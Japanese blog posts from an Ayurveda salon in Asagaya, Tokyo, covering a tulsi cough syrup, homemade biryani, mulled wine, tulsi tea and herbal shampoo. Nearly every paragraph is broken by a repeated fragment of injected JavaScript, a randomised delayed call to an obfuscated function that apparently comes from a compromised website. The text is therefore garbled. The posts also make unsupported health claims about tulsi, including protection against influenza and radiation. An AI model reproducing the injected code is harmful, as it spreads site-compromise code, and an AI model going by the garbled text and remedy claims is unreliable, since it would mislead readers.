トゥルシーの咳止めシロップ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
先日、通っているアーユルヴェーダの講座で
トゥルシーと言うハーブを使った咳止めandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}の作り方を教わりました。
実は先月、咳が出て、喉がガラガラだった私にまさにピッタリ。
その日、トゥルシーを分けていただいたので家でも作ってみました
こちらが、トゥルシー。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
意味は「比類なき」…言ってしまえば、万能なハーブです。
20131114 07s
トゥルシーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}とは…
古来より、アーユルヴェーダの賢人達によって、
インド全土に広められた“ハーブの女王”andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
欧米ではそのパワーから
「ホーリーバジル」=聖なるバジルandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}と呼ばれています。
インドでは、『トゥルシーの葉を、毎日食べれば医者が要らない』と言う
ことわざがあるくらい、5000年以上も前から、
毎朝、聖水をかけ崇められ、神様にお供えされているそうです。
生でも食べられて、味はバジルっぽいけど、クセがなくて爽やか。
香りも素晴らしく、それだけでも癒されます

20131114 56s
奥にあるのは、すでにつぶして絞った「しょうが汁」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
すりおろすのではなく、つぶして絞ります。
葉っぱも、同じようにつぶします。乳鉢がないのですり鉢で。
20131114 13s
さらしで絞ってみると、意外に汁がとれます。
20131114 59s
この状態でも、全然飲めるんですけど、
お子さんとかには、ちょっと苦いかも知れないので、
氷砂糖を溶かしたシロップと合わせます。
そこへ、先に絞っておいたしょうが汁andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}も加えて完成
20131115 51s
ワタクシ、これを寝る前とかにスプーン一杯ぐらいずつ
グイッと飲んで満足していたのですが、それは間違いでした。(笑)andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

喉の炎症を取ってくれるのですから、咳が出るときとかにその都度
ちょっとずつ舐めて、喉を通るようにとるのが良いそうです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

実は、この素晴らしいトゥルシーの種を分けていただいたので
来年は、私も蒔いてみようと思ってます
マナスでは、このトゥルシーを乾燥させたトゥルシーティーを
施術後にお選びいただくお茶としてご用意しています。
1つは、トゥルシーと脳に良いつぼ草をミックスしたもの、
もう1つは、トゥルシーとショウガのミックスです。
どちらも、とても美味しいので、ぜひご来店の際にお試しください

andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

アーユルヴェーダサロンmanas 《マナス》

ビリヤニ初挑戦!

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
2013年1月19日(土)ヘナ体験ワークショップ申込受付中andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
さて、クリスマスイブですね~
やっぱり今日はご予約がなかったので(笑)
自分のための美味しいご飯を作りました
こないだ仕入れた、こちらが大事な材料。
2012-12-23s.jpg
ビリヤニ・マサラミックスandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
バスマティライスandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
ビリヤニandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}とは、炊き込みご飯のようなもの。
中東から、南インド・パキスタンなどで良く食べられるみたいで
私もケララに研修に行ったとき、初めて食べたのです。
※「ビリヤニ」とは⇒ウィキベディア
そして、とても気に入ったのですが、作り方を調べると
それなりに手間がかかるみたいだったので
なかなか実行せずにいました。
が、良く行くインド食材店でこのビリヤニ用マサラミックスを見つけ
その作り方を教えてもらったので、挑戦してみることに。
ビリヤニ作るなら、米はバスマティandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}じゃないと
1キロ入りの小さなものを買ってみました。
バスマティもインド・パキスタンのお米。
長くて軽いので、たくさん食べてももたれません
(いや、たくさん食べたらダメなんですけども:笑)
※「バスマティ」とは⇒ウィキペディア
そんなビリヤニさんは、
簡単に作るなら、炊飯器でも炊けるそうなのですが
ビリヤニとは、本来、カレーとご飯を別々に作って
それを最後に重ねて蒸すことでスパイスの香り高い
ビリヤニができるとのこと。
それなら、別々に作ったるわ
箱裏の英語で書かれたレシピとネットのレシピを参考に
半量を見よう見まねで作ってみたところ…
IMG_20121224_113817s.jpg
出来ました大成功andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
今回使った「shan」のマサラミックスは
少し辛めと言っている方がいたのですが
途中の味見でかなり辛かったため、ご飯を少し増量したら
ちょうど良い感じになりました~
そしてビリヤニは、横に添えてあるライタandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
一緒に食べるのが美味しいです。
ライタandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}とは、刻んだキュウリやトマト、玉ねぎなどを
ヨーグルトで合え、スパイスや塩で味付けしたサラダ。

今日のは、キュウリ・トマト・セロリに
クミンとお塩で味付け。これだけでも美味い~~
ビリヤニのピリッとくる辛さを
ライタでまろやかにしながら食べると
いくらでも食べれそうな美味しさ
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

あともう一回作れるのが嬉しいな~~
ただ、半量でも尋常じゃない量ができたので(笑)
これから近所のお友達におすそ分けに行ってきます
2013年1月19日(土)ヘナ体験ワークショップ開催⇒詳細はこちらandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アーユルヴェーダサロンmanas 《マナス》

ホットワインでほっこり☆

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
週末から東京はすごく寒かったんです
(今日はポカポカなんですけどw)
そんな中、近所のディスカウントスーパーに立ち寄ったら
ワインが300円で売ってまして。
ホットワインが飲みたい~!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}と。
実は以前、友人宅でごちそうになったことがあったのですが
あっためた赤ワインに、スパイスとレーズンとナッツなんかを
入れて飲むと、とても飲みやすくてあったまったんですよねー
で、その場でレシピを検索した結果、
必要なスパイスがほとんどチャイと一緒なことが判明andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
それなら、おうちにありますよー
あと入れるものは、オレンジとかレモンとかレーズンとかナッツとか、
レシピによっていろいろなのですが、
フルーツも、なければオレンジピールとか市販のジュース、
ポッカレモンとかでもなんとかなるみたいだし、
自分の好みで入れたらいいんだな、と勝手に解釈しました。(笑)
そして、一番大切だったのは、ホットワインには高いワインより
安いワインの方が向いてるんだそうです

よかった~~
そんなわけで、ホットワイン作成開始andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
使ったスパイスはこちら。
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シナモン、ブラックペッパー、コリアンダー、
クローブ、カルダモン
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
…量は適当です。(笑)
最重要なのは、どのレシピにも入っていたクローブで、
次点はシナモンですかね。
まあたくさんなくても、その二つがあれば良さそう。
残念ながら、今回はフルーツがなかったので、
レーズンのみ投入することに。
酸味がほしかったら、ポッカレモンで調整予定。
あとは、ワインの甘さによって、
お砂糖とかはちみつを入れるようです。

andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
これも、きっと好みですよね。
ただし、アーユルヴェーダでは、
はちみつは加熱するとアーマ(毒素)になるandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
とされていますので、

はちみつを入れて煮てはいけません。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
はちみつを入れるなら、作り終わって飲み頃の温度になってから
(まあ、指を入れても熱くない程度ですね)
カップに入れてくださいね。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

でもって、作り方もいろいろ。
「沸騰させないように」とあったり
「アルコールが苦手なら20分火にかけて飛ばす」とか
「専用ポットで作る」とかいっぱいあったので
とりあえず、普通に鍋にマグ一杯分の赤ワインと
引き揚げやすいようにだしパックに入れたスパイスと
温めてみました。
火は中火にしたんですが、普通に沸騰してしまったので(笑)
ちょっとアルコール飛ばして、お砂糖を投入。
味見もしないで、ポッカレモンも少々。
そして完成~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1330845708256s.jpg
適当に作った割に、味は大丈夫でした
期待通り、とてもあったまりましたよ~
アルコールをしっかり飛ばしてしまえば
お子様でも飲めそうですね。
ぜひ、みなさまもお試しを~

価格:980円
刺激的な香りと味のスパイス。胃腸の働きを整える働きも

 

価格:340円
インド料理に欠かせないスパイスの一つ。日本でも使いますね

 

価格:480円
菓子の香り付けや、マサラティーのスパイスとして

 

価格:380円
日本でもおなじみのこしょう。特大ボトルです

 

価格:190円
カレーやスープ、世界中で使われています

アーユルヴェーダサロンmanas 《マナス》

トゥルシーティー有り〼

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
マナスでは、ヘッドスパ以外は施術の後に
ご用意している7~8種類のお茶の中から好きなものを選んで
お菓子と一緒にゆっくり楽しんでいただいています。
s-アフターティー
(画像はイメージですwww)

その中に、トゥルシーティーと言うのもご用意してるんですが
これが、とてもとてもスゴイパワーを持っていると言うのが
記事になっていました!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


インド防衛研究開発機構も太鼓判!
インフルエンザや放射線が気になる
今飲みたい『トゥルシー茶』

[マイスピ]andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

詳しくは、記事の方を読んでいただくとして…(笑)
トゥルシーとは…andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
古来より、アーユルヴェーダの賢人達によって、
インド全土に広められた“ハーブの女王”。
欧米ではそのパワーから
「ホーリーバジル」=聖なるバジルと呼ばれています。
インドでは、『トゥルシーの葉を、毎日食べれば医者が要らない』と言う
ことわざがあるくらい、5000年以上も前から、
毎朝、聖水をかけ崇められ、神様にお供えされているそうです。

もちろん、私もトゥルシーの効能は知っていて
もともとは自分用に買ったのですが、
なかなか飲みやすいし、アーユルヴェーダ的にも良いので
サロンでも提供するようにした次第であります。
トゥルシーティーは、そのままでも爽やかなハーブティーですが
マナスでは、オーガニックのトゥルシーティー
ヴァータに特に良い「ジンジャー」ブレンドしたもの、
ピッタに特に良い「ゴツコラ」をブレンドしたもの、
この、カフェインフリーの2種類をご用意しています。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

ぜひ、ご来店時にお試しください
アーユルヴェーダサロンmanas 《マナス》

ハーブシャンプー

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
これ、私がいつも使ってるシャンプーです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
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ハイ、ただのハーブの粉であります。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アーユルヴェーダを始めてから、インドハーブにとても興味を持ち、
このハーブシャンプーを始めました。
以前の仕事のときは、髪がすごく乾燥がち、
地肌も乾燥してフケが出やすく、
白髪も急に部分的に増えてきてたり、と問題あり。
あと、昔から良く髪の太さや細さが一定でない
ガタガタしてうねった髪が多く生えてて
気になると抜いちゃう…と言うことを繰り返してました。
まあ、その一因は髪と地肌の酷使ですよね。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
若い…と言っても20代後半ぐらいですけどwww
ほぼ金髪な感じにしたうえに、赤だったり緑だったり
いろいろカラーリングしてまして。
パーマも結構きついのかけてグリグリにして
一度、ドレッドにする!と言ったら、
美容師さんに止められましたけれどもwww
まあ、ストレスがたまって、疲れて、どうにもならないときに
美容院に行くのが唯一の息抜きだったので
もう、髪型を変えることでストレス発散!気分転換!
をしてたんですよね。

だから、あの頃は高級シャンプーケラスターゼとか使って
なんとか、ごまかしごまかし持たせてましたね。
でも、仕事を辞めて時間が出来て、
無添加のシャンプーとかに変えてみたんですね。
まあ、それほど問題はなかったんですけど、
地肌の乾燥は相変わらずでした。
そして、アーユルヴェーダを学んだあと、
インドハーブで地肌を洗う
「ハーブシャンプー」に転向。
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
これにしてから、地肌の乾燥が収まって
2~3日ぐらい洗わなくても、かゆみもフケもでません。
自分の頭皮から正常に油脂が分泌されて
それで適度に潤ってる感じですね。
それに、ガタガタとした髪が生えなくなりました。

もちろん、化学製品ではないので、すぐではないですよww
1週間から数か月使ってみて、ある日気づいたら
「あ!」と言う感じです。
もちろん、いろいろと思考錯誤しながらですけどね。
数種類のインドハーブを混ぜてつかっているのですが、
自分にあったハーブミックスを見つけていくのも
実験のようで楽しいものです。
ちなみに、体を洗うのは手前の粉。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
こちらは、また違う配合で
お店でもパックに使っているクレイを使っています。
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アーユルヴェーダサロンmanas 《マナス》